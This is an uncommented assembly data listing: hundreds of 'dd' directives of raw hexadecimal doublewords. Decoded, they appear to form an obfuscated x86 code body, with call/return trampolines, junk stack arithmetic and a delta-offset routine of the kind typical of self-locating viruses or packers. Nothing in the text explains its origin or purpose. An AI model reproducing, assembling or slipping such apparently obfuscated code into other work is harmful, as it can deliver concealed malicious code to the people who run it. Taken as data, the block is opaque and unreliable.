		dd 81042444h, 17042444h, 40000000h, 2BA6C350h, 0B58971C0h
		dd 6292455h, 6BAh, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0E8C79B7Fh, 0B6A6D43Ah
		dd 6AC38BFAh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 1CA5C350h, 606D7A72h, 58B950F9h
		dd 5B3C3D39h, 0B5D4BE61h, 0E8C13E1Fh, 0B1BE6604h, 699589BAh
		dd 66062904h, 6AE2F7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 6AF43AC3h, 0B58BF175h, 6292011h
		dd 6AD82BF9h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 56DEC352h, 543FBA4Fh, 65BD095Bh
		dd 5006292Ah, 1C89FA8Bh, 3FBF6624h, 41B5FF7Bh, 0E9062928h
		dd 0Ah,	82102AAEh, 9F3672A0h, 95FFBB5Dh, 6290591h, 0CE9h
		dd 94AC7000h, 0ED1E4629h, 4B23345Bh, 6A00B018h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 3219C350h, 0FBF385CEh, 9531FD8Ch, 6292D01h, 0EE8170E6h
		dd 0B45BC08h, 6A71E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0F4F0CDC3h, 0F3A73728h, 0E86F4E1Dh
		dd 7, 0E05ECA82h, 8BD1D1E6h, 293235B5h,	613C5E06h, 2F4830Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 91BC85C3h, 0D1BD8BC6h, 0F062915h,	6AD8B6h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 8CCF3AC3h, 0E86D2171h, 0Bh, 13EBBA63h, 8ED747EEh, 9FD2738h
		dd 292549B5h, 6BA5F06h,	0F9000000h, 0BD8BC38Bh,	6292819h
		dd 6E8h, 6450EB00h, 66539370h, 5F2CDABFh, 6A04E8C1h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 1340C357h, 4353EEDh,	0DBF4BD8h, 8B26B360h, 13E961CBh
		dd 97000000h, 0F5D0F9B6h, 3B34F330h, 750115C1h,	8E5AE66h
		dd 0F76675B2h, 56006AE2h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0D82B433Eh, 8E9h, 0E0DE2C00h
		dd 0E388E366h, 6A580Ah,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0E0FE98C3h, 2B795746h, 0D7880FD8h
		dd 6A000001h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 8AFAC356h, 26F5960Fh, 0B95DDF47h
		dd 7, 0C183F9h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	0C4C35343h, 971EF0B7h, 33DE1126h, 49BE66DFh, 0FD93BB6h
		dd 17986h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 8C77B1Ah,	97F48D04h, 11E98DACh, 8C000000h
		dd 76B29BECh, 2F64DDC7h, 0F3AC5D4h, 6084DBC6h, 25B59D29h
		dd 8C660629h, 4C1F6D9h,	10A840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0B0BFB8C3h
		dd 0FF38937Ch, 290EA195h, 13E86006h, 0D6000000h, 0C446BFBEh
		dd 60F13B84h, 63CAF960h, 8897601Eh, 9D0BA687h, 6290029h
		dd 0EE95Fh, 84A80000h
		dd 0CC4470DFh, 0F0CB7CFFh, 5730D942h, 0BF665361h, 5B5E2098h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0FC35747h
		dd 0D6CFA484h, 0CE9449Dh, 86000000h, 8BB7C58Bh,	22DF6604h
		dd 2B18204Ah, 57006AC3h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 860FA66Bh, 3, 8BF9B70Fh, 29049DB5h
		dd 8343D06h, 860F0000h,	3Ch, 0AE9h, 2F8F6200h, 99B2A489h
		dd 0E9D7486Fh, 4Ah, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 60C35141h, 9D948039h,	0B589F90Ah, 62932F1h
		dd 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 2A34D4C3h, 0C38B405Eh, 6AD88Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 8D62A3C3h
		dd 3320C612h, 29344DB5h, 0F0BF0F06h, 9D185C7h, 0B91B0629h
		dd 81665608h, 8B5D93D7h, 41BD81C0h, 0D0062928h,	0F000007h
		dd 3585h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 2B7EC397h, 75175A38h, 0F4DB58Bh
		dd 85FF0629h, 6292841h,	2E259D29h, 0B5FF0629h, 6292841h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 50C35747h
		dd 0F2A5B0F5h, 0FFF93B38h, 29059195h, 7E906h, 49750000h
		dd 6A9CFC09h, 6A90CDh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0B10E9C3h, 290D9D29h, 6A0629h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 3D90A2C3h, 8D016809h, 6292C01h, 0D014F0BFh, 55006A5Eh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 8BAE1BE6h, 0FD8589F2h, 0E9062915h, 0Eh, 0F1DAD586h
		dd 9313DEF1h, 8CCBD884h, 6051D9ADh, 0F1951BFh, 0D6CB815Eh
		dd 0B907B32Fh, 0A18BC3Bh, 61CA8B66h, 3195295Eh,	0F062914h
		dd 1284h, 0CE9F500h, 4000000h, 8A9A2542h, 0B81C8BAFh, 8B1633E7h
		dd 2910F1B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0B3F489DFh, 7123FAC3h, 0B58B95EEh
		dd 6292019h, 8F5B58Bh, 6A0629h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 541F0EC3h, 847497Bh
		dd 0E953BF84h, 11h, 0A5125249h,	6D7A721Ch, 0D44EA00Eh
		dd 1565A4EAh, 4BF5ECDh,	0F1F91E6h, 0F9E9FABFh, 6AFFFFF6h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0B641C357h, 934CE2F3h, 0B70F368Fh, 6AC18BF8h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 2481C356h, 22B2AFFBh, 4EB5Fh, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0E9F0C355h, 6, 501A18D7h,	858D1BBDh, 6291425h
		dd 16BDBD2Bh, 0F900629h, 0E8Eh,	8E800h,	63B0000h, 0B76BF421h
		dd 505EDC61h, 0EE9h, 0B9AE3200h, 8CF70187h, 30CA1439h
		dd 90E17A7Eh, 3329BD03h, 6A0629h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 97C35040h, 8B78E227h, 89006AF7h
		dd 2905858Dh, 858DF806h, 62D0F7Eh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 42C35646h, 0EF3FBBEBh, 8960528Fh
		dd 291EC59Dh, 0E9BD8906h, 61062928h, 0BE8h, 46DC1F00h
		dd 0A98E76ABh, 0F55F4DD9h, 9699D89h, 835E0629h,	8D8905C0h
		dd 62932F1h, 24048950h,	2B51B58Bh, 6A0629h, 0D8F68166h
		dd 29006AEBh, 292FAD9Dh, 0ED95FF06h, 8D06290Ch,	2C98089Dh
		dd 9BD3306h, 0FF062914h, 57006AD3h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0EBC7E413h, 0BE9ED4Eh
		dd 8000000h, 123B4FDDh,	19D31ED4h, 85FF25BCh, 6292A15h
		dd 0D99BD8Bh, 46E90629h, 0E8000007h, 0
		dd 88ED815Dh, 51062D0Fh, 203D8589h, 815F0629h, 292841BDh
		dd 7D006h, 75860F00h, 66000001h, 8B3FCFBFh, 290A499Dh
		dd 0FB8B6606h, 100E381h, 81660000h, 0BFE9EC6h, 0D6850FDBh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0F5ADC352h, 6112566Bh,	2975C5B1h
		dd 2916998Dh, 2BBD8306h, 62D0Eh, 59840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 46B000C3h, 0D441AB27h, 95893287h, 6292D1Dh, 2A29BD23h
		dd 90E90629h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 6A35C355h, 49CF81ECh
		dd 0C76183B5h, 2D0E2B85h, 106h,	0B50B5700h, 6291621h, 2985895Fh
		dd 0E906290Fh, 4Fh, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 95C35747h, 593221Eh, 33966BB5h, 293555B5h
		dd 2B85C706h, 62D0Eh, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 8D58C352h, 290A499Dh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0E8C68A9Bh, 0F81F2133h, 0FEFF2381h, 6AFFFFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0D099CDC3h, 7E9h, 20E95C00h,	99C0C341h, 89DB8C66h, 292D9DBDh
		dd 4C3F606h, 3C840Fh, 81660000h, 0FFA528F6h, 290EA195h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 0BE6B5058h, 52837C23h, 24048950h, 4840Fh
		dd 0BE660000h, 2CE9553Ah, 50000003h, 0E29BD8Bh,	0B05F0629h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0EBCEC0E2h, 9D89F627h, 62903DDh,	6A70E6h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 43ECF4C3h, 88E8058Ch, 0AE9EC4Eh, 2E000000h, 6E188B7Bh
		dd 0C30D0488h, 8B71E42Ch, 290E4DBDh, 0D8B60F06h, 0E8E0Fh
		dd 0F600000h, 82h, 0B9B58900h, 6106290Fh, 6BAh,	95B58B00h
		dd 8B06292Eh, 0BDBD8BC3h, 0C1062929h, 895704E8h, 2918599Dh
		dd 0F7665E06h, 53006AE2h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 6C97B4FEh, 6870F2Ah, 29000000h
		dd 290DD1BDh, 29D82B06h, 2923E98Dh, 8B665006h, 241C89F1h
		dd 0C9DE8166h, 41B5FF55h, 6A062928h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0A2FAC352h
		dd 8BF98BA6h, 290A5DBDh, 9195FF06h, 0F8062905h,	0DBD7BF66h
		dd 6A00B0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0C33C5C3h, 0E6BA60CBh, 71E4F570h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 3AC35141h, 553C4225h
		dd 89E372C7h, 2913CDBDh, 0F613C06h, 1B683h, 0B60FF800h
		dd 52006AD8h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 1DFD5BD4h, 6BAh,	5DBD0B00h, 8B062935h, 1F2DBFC3h
		dd 0E8C100EFh, 66F18B04h, 6653E2F7h, 665FF08Bh,	0D82BF18Bh
		dd 61B58B58h, 2B062920h, 60880FD8h, 8B000001h, 2932CDBDh
		dd 7B906h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0B5899CC3h, 62910A5h, 6600C183h
		dd 0A90DF681h, 860FD93Bh, 123h,	8C66FE8Bh, 55006AD9h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 0F6B2B49Bh, 840F04C1h, 0D1h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 4BC35747h, 2351BD8Bh, 8D890629h
		dd 6291271h, 0EA195FFh,	0B70F0629h, 6A5BF8h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0D128BEC3h
		dd 5870F43h, 66000000h,	6CE4C781h, 8B60C32Bh, 292C89B5h
		dd 0E9958B06h, 6106290Ch, 8343Dh, 5A860F00h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0ED9FC350h, 1D0D6612h, 8B6AA778h,	2928D1BDh
		dd 51E906h, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 7E0D01C3h, 8153E4Dh, 8B764FC2h
		dd 290E91B5h, 6AC08B06h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 6EF9C353h, 5693C59Fh
		dd 8B95E7AAh, 6AD88BC3h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 293C355h, 0B58BED03h
		dd 6292D9Dh, 2A4985C7h,	0B7DD0629h, 895270F4h, 29047985h
		dd 0C08B5E06h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0A2C35343h, 844E5035h, 49E4BEB5h, 0BD816E1Ah, 6292841h
		dd 7D0h, 35850Fh, 840F0000h, 6,	30AD9589h, 85FF0629h, 6292841h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0EDC35242h
		dd 7595298Eh, 0FF06290Ah, 292841B5h, 0C9B58906h, 0FF062904h
		dd 29059195h, 119D0906h, 90062909h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 1CC35747h, 0B58965E1h, 6290EE9h
		dd 10E8h, 0D4E95800h, 9B8DB5AFh, 0A592DDFDh, 49CFBD9Ch
		dd 8F9FBF23h, 5EFC35ECh, 14E9h,	10A43700h, 0A52D6A7Ch
		dd 6AFAD8ADh, 978AD21Bh, 0EAA1C2F2h, 519D896Fh,	2906291Ah
		dd 290FB5B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 8F94FA7Ah, 11ADBD8Bh, 0BBE0629h
		dd 560C1C76h, 8E9h, 21BBA00h, 0F5B5073Bh, 6AF55E83h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0B939C352h, 0C5935DBFh, 52006A25h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 8DBB81C1h
		dd 12E8h, 35A07B00h, 0BCB8BBD6h, 9C3FB2DAh, 97F28A5Fh
		dd 60A605EAh, 0D318D01h, 81660629h, 893257D6h, 291B89B5h
		dd 0BF666106h, 0E95F8A46h, 0Eh,	0C0E7AF96h, 826DA65Dh
		dd 39468A1Bh, 0B70F97FEh, 0F8FDE9F3h, 6AFFFFh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0EBF7F6C3h, 0B9D7381Eh, 0F38B0DEEh, 12E9h, 0E5B29800h
		dd 1E4A8804h, 15483DC9h, 43FD1972h, 8B8803EFh, 29253DB5h
		dd 6AC18B06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 17EEC351h, 858920A9h, 629283Dh
		dd 4EBh, 6A0000h, 3E856h, 5E200000h, 74895EC3h,	44810424h
		dd 1A0424h, 56460000h, 0ED976BC3h, 6D8D9DAh, 71D4BE66h
		dd 0ACEF8166h, 870F1Eh,	8D000000h, 29142585h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 4F794EBFh, 0B791BA7h, 290771B5h, 52505006h, 5E616050h
		dd 8B56310Fh, 585A5FF9h, 6A240489h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0EF1FC351h
		dd 3255BD2Bh
		dd 0BF660629h, 0B70FD274h, 8B006AF7h, 290079B5h, 61B58B06h
		dd 6A062911h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 0EC8531A0h, 89394BC2h, 0BE8h, 99A10300h
		dd 0BC8C8CFCh, 803AAC2Eh, 5EF98B66h, 1ED5BD8Bh,	858D0629h
		dd 62D18F1h, 345DB529h,	0C0830629h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 40701B40h
		dd 8166537Ah, 50BF3DEFh, 61CC8A60h, 6A240489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0FA60C357h, 8C5A9722h, 40B86060h, 660D9829h,	61B40FB8h
		dd 6E8h, 40ED3500h, 3F87951h, 2926598Dh, 6A615B06h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0B2E6817Ah, 6A5DDFD1h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0C6F964F7h
		dd 88D4749Dh, 2AA98D89h, 95FF0629h, 6290CEDh, 0FC18A60h
		dd 8D61D0B7h, 2C98089Dh, 0D3FFF506h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 31C35646h, 75A799FAh, 5C59182Ch
		dd 1585FF8Eh, 2906292Ah, 29110D8Dh, 910E906h, 0E80000h
		dd 5D000000h, 18FBED81h, 81F5062Dh, 292841BDh, 7D006h
		dd 81860F00h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0D251C355h,	2CD9BD8Bh
		dd 5E90629h, 0FB000000h, 0D59D81CBh, 9F19D8Bh, 6A0629h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 29FF1FC3h, 0E938574Fh, 6, 0A3A2F948h, 0BD8BA14Fh, 62923CDh
		dd 100E381h, 9D090000h,	6290465h, 850FDB0Bh, 0A7h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 47C35343h, 6C3EF27Bh
		dd 12E93703h, 0
		dd 0F55A66D9h, 0A6451232h, 6198F245h, 0C2E6C3BFh, 0F3B70F8Dh
		dd 16F2BD83h, 0F00062Dh, 2784h,	0CD952900h, 0E9062911h
		dd 7Dh,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h
		dd 62C35646h, 16F285C7h, 1062Dh, 8D310000h, 629064Dh, 4CE9h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0A5EE8138h, 0C762EADCh, 2D16F285h, 6, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 3D38542Eh, 0F19D8D21h, 8B062909h, 291229BDh,	0FF238106h
		dd 6AFFFFFEh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0C68AC357h, 1F2133E8h,	39654041h
		dd 89DB8C66h, 29079995h, 4C3F606h, 54840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 51801CC3h, 807AE739h, 31BD8B0Fh, 0FF06291Fh,	290EA195h
		dd 79B58B06h, 5006292Ah, 0EE9h,	67403300h, 4EAD6BDAh, 0E7B94EFFh
		dd 898D7FFAh, 89572404h, 29351995h, 0F2E95F06h,	6A000004h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0C95DC353h, 0D16C54F2h, 0A967A53Fh, 28E99D31h
		dd 0B00629h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	23C35040h, 0CBB4326Fh, 70E6C348h, 8A6CEE81h, 71E44196h
		dd 2CC98589h, 0B60F0629h, 57006AD8h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0F6E7DA4h
		dd 0BD8BF6BFh, 62916B1h, 6BAh, 52006A00h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0AEEB67B7h
		dd 0C38B4990h, 12E8h, 0E6DAD800h, 0C4FE940Bh, 2BE909FCh
		dd 76E00EADh, 5E283625h, 1AD1BD8Bh, 0E8C10629h,	8AB66004h
		dd 55F28166h, 0F76661C5h, 53006AE2h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0B763997Eh
		dd 0DBC43B49h, 0EE95EF2h, 55000000h, 7B1D8EE2h,	515947D0h
		dd 86BE5F30h, 6AD82BBCh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0C188C351h,	17856AA4h
		dd 0BDC4C506h, 0F18B5093h, 56006A93h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0BD314B63h
		dd 629181Dh, 2841B5FFh,	7E80629h, 0D4000000h, 4A47EBAEh
		dd 0B0BF85D3h, 5F0DE5E6h, 59195FFh, 6A0629h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 9A483CC3h
		dd 6A00B0DFh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 8A60C353h, 1CE9D09Dh, 9D893496h
		dd 6292B71h, 0C591BF66h, 6A70E6h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0E5B83AC3h, 5F971D92h
		dd 0E9FCFF1Fh, 0Ah, 25DEAB2Eh, 0DA52C1EEh, 71E4D7E8h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 5CC35545h, 0F47220Ah
		dd 58Fh, 0C6816600h, 613C63BBh,	2B7830Fh, 0BF0F0000h, 0D8B60FF9h
		dd 14E9h, 13C85200h, 0EF2F45D5h, 0CDEE79FFh, 0ABD4755Fh
		dd 667826FCh, 0E850FCBh, 60000000h, 2E29BD8Bh, 95090629h
		dd 6290435h, 6BA61h, 860F0000h,	6, 84D8589h, 0C38B0629h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 9AC35646h
		dd 0B05346D4h, 2BB60933h, 4E8C1B0h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 70C35646h, 34E42269h, 0F766783Ah
		dd 52006AE2h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0A8724A84h, 9D296FC7h, 6290691h,	6AD82Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 239B6BC3h, 69A70DA0h, 0F95BD8Bh, 1580629h, 290D31B5h
		dd 0FD82B06h, 1C488h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 56757118h, 9719FC34h
		dd 9BD317Bh, 0B906292Ah, 7, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 71C35242h, 74D68431h,	8B0F1F17h, 8, 39BD8952h
		dd 5E062924h, 6A00C183h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 54D0C353h, 0C3600A0Ah
		dd 0FFAA4D1h, 68Fh, 49BD8900h, 3B062928h, 2A860FD9h, 8B000001h
		dd 292481BDh, 0D98C6606h, 0E9FE8B66h, 10h, 0EBFBF09Ah
		dd 8AA81F72h, 0B6932555h, 4183B7CDh, 0F04C1F6h,	0DA84h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 8727622Dh, 5DF8D12Fh, 11E9h, 9C878E00h
		dd 0E1FC5C07h, 0B63BF345h, 6C15FA05h, 95FF3CA0h, 6290EA1h
		dd 0BD295660h, 62927A9h, 61C0B55Ah, 55006A5Bh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 1EF6ADE3h
		dd 971BF5DDh, 2CC9BD01h, 0C32B0629h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 96C35141h, 0FC99A103h, 9D89508Ch
		dd 6292D45h, 8343D5Eh, 860F0000h, 2Fh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 8EC35747h, 0BD898EFFh, 629313Dh
		dd 2CE9h, 0E9B50100h, 8B06290Dh, 10E8C0h, 0F4190000h, 346E2C83h
		dd 9976BCF4h, 0E16F68EBh, 89528C36h, 290E6195h,	895F5E06h
		dd 29329595h, 8BC38B06h, 50006AD8h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0C6F6C5E8h, 0C7BB374Ch
		dd 290A4985h, 1D091506h, 57006A3Ch, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0E42026B4h, 5E51AB32h
		dd 3245B58Bh, 0C08B0629h, 2B85BD89h, 0BD810629h, 6292841h
		dd 7D0h, 4B850Fh, 0FE90000h, 9B000000h,	39D93DE0h, 4869269Fh
		dd 0BD657C81h, 85FF689Eh, 6292841h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 19C35747h, 0A86539EFh, 0CE9h
		dd 138A3600h, 0C688509Fh, 8082307Eh, 41B5FF47h,	8B062928h
		dd 2929E1B5h, 9195FF06h, 6A062905h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 2B4EC352h
		dd 292E19B5h, 0B5015606h, 62914D1h, 0C9BD8B5Eh,	90062914h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 19C35747h
		dd 0F11B58Bh, 8B660629h, 0BE66FCF0h, 6AC6EBh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 2E8C36C3h
		dd 89BB70BCh, 29139995h, 0BA666006h, 8F0F3515h,	3, 61D18B66h
		dd 485BD8Bh, 880F0629h,	6, 10C9B58Bh, 6A0629h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0C28017C3h, 0F442AD17h, 8E972h, 66130000h, 7680CB6Ch
		dd 8589EB85h, 6291269h,	0A108F781h, 8A0F16C5h, 6, 1A599589h
		dd 6A0629h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 7B893CC3h
		dd 7833F1ACh, 0F88B66F8h, 84D8D31h, 9E80629h, 0BE000000h
		dd 32512B1Dh, 27EF4776h, 0C810Fh, 0BD8B0000h, 629103Dh
		dd 26698531h, 0E95F0629h, 0FFFFF6FAh, 0CD7C32BFh, 3ECDBE06h
		dd 0C18B2DABh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	0F6C35646h, 201DC5C9h, 0AE793F75h, 4EBh, 9D890000h
		dd 6290CA1h, 8DF6BF0Fh,	29142585h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 8731321Ah
		dd 8A6090C9h, 0DE8B60DEh, 8F0Fh, 61610000h, 90FB8B50h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0F0C35747h
		dd 4BDBBD1h, 6880Fh, 9D890000h,	629248Dh, 0B70F006Ah, 6A006AF8h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 7BF2C356h, 6099FDBFh, 954CBE78h, 858D396Dh
		dd 62D23DFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	31C35343h, 0EA613DF8h, 58A0FAFh, 0BF000000h, 6C097D95h
		dd 6A05C083h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0EC2AC353h, 0B96D6719h, 0E9616C04h
		dd 10h,	1303A81Eh, 5DDB8526h, 3953C55Fh, 0C4165A41h, 8E0F50h
		dd 89000000h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 7332FCC3h, 6A006A68h, 6820F00h
		dd 33000000h, 290C61BDh, 0ED95FF06h, 8B06290Ch,	89D8DF7h
		dd 6A062C98h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 65C352h, 89FB8B66h, 292C0585h
		dd 6AD3FF06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 613EC351h, 0B2802725h,	0EBE4BE66h
